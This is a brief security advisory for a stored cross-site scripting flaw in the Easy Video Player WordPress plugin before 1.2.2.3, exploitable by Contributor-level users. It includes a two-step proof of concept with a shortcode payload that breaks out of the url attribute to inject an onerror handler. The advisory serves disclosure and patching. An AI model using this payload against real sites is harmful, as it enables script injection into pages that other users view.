Easy Video Player < 1.2.2.3 - Contributor+ Stored XSS

The plugin does not sanitize and escapes some parameters, which could allow users with a role as low as Contributor to perform Cross-Site Scripting attacks.

PoC

1. Add a new post and add the payload there: [evp_embed_video url=‘" onerror=alert(/XSS/) "’] 2. Preview the post, and the XSS will trigger.
